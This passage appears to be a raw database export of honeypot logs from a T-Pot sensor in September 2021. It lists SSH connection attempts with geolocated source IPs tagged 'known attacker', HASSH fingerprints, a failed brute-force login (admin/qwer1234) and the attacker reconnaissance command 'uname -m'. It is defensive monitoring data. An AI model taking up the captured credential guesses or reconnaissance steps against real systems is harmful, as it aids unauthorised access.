"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21855	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:22.453135+03	2021-09-20 14:15:04.188614+03	{"_id": "wAXiAnwBvYTbRNuEsP2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40496, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.453135", "@timestamp": "2021-09-20T11:06:22.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21856	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:06:22.834946+03	2021-09-20 14:15:04.189644+03	{"_id": "wQXiAnwBvYTbRNuEsP2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37245, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.834946", "@timestamp": "2021-09-20T11:06:22.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21857	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.295199+03	2021-09-20 14:15:04.191613+03	{"_id": "wgXiAnwBvYTbRNuEsP2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "59e77f02430e", "@version": "1", "duration": 2.860539436340332, "timestamp": "2021-09-20T11:06:22.295199Z", "@timestamp": "2021-09-20T11:06:22.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21858	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:22.855731+03	2021-09-20 14:15:04.192614+03	{"_id": "wwXiAnwBvYTbRNuEsP2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:22.855731Z", "@timestamp": "2021-09-20T11:06:22.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21859	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:22.857125+03	2021-09-20 14:15:04.193614+03	{"_id": "xAXiAnwBvYTbRNuEsP2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fa51fa9ef0bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:22.857125Z", "@timestamp": "2021-09-20T11:06:22.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21860	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:23.383257+03	2021-09-20 14:15:04.194612+03	{"_id": "xQXiAnwBvYTbRNuEs_1z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 868225142135466, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 53676, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.383257Z", "@timestamp": "2021-09-20T11:06:23.383Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21861	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:23.812112+03	2021-09-20 14:15:04.195613+03	{"_id": "xwXiAnwBvYTbRNuEs_1z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 735398983566586, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57050, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.812112Z", "@timestamp": "2021-09-20T11:06:23.812Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21862	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.178553+03	2021-09-20 14:15:04.197613+03	{"_id": "yAXiAnwBvYTbRNuEtP1T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ad36bfa95a36", "@version": "1", "duration": 3.0410845279693604, "timestamp": "2021-09-20T11:06:23.178553Z", "@timestamp": "2021-09-20T11:06:23.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21863	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.321259+03	2021-09-20 14:15:04.198613+03	{"_id": "yQXiAnwBvYTbRNuEtP1T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/qwer1234] failed", "session": "23a845094798", "@version": "1", "password": "qwer1234", "username": "admin", "timestamp": "2021-09-20T11:06:23.321259Z", "@timestamp": "2021-09-20T11:06:23.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21864	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:23.428814+03	2021-09-20 14:15:04.199612+03	{"_id": "ygXiAnwBvYTbRNuEtP1T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "223.241.247.214", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5737087726593018, "duplicate": true, "timestamp": "2021-09-20T11:06:23.428814Z", "@timestamp": "2021-09-20T11:06:23.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21865	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:23.411364+03	2021-09-20 14:15:04.200614+03	{"_id": "zQXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37322, "timestamp": "2021-09-20T11:06:23.411364", "@timestamp": "2021-09-20T11:06:23.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21866	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:23.689402+03	2021-09-20 14:15:04.201613+03	{"_id": "zgXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37322, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.689402", "@timestamp": "2021-09-20T11:06:23.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21867	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:23.171529+03	2021-09-20 14:15:04.203613+03	{"_id": "zwXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "42d94f72ba41", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:23.171529Z", "@timestamp": "2021-09-20T11:06:23.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
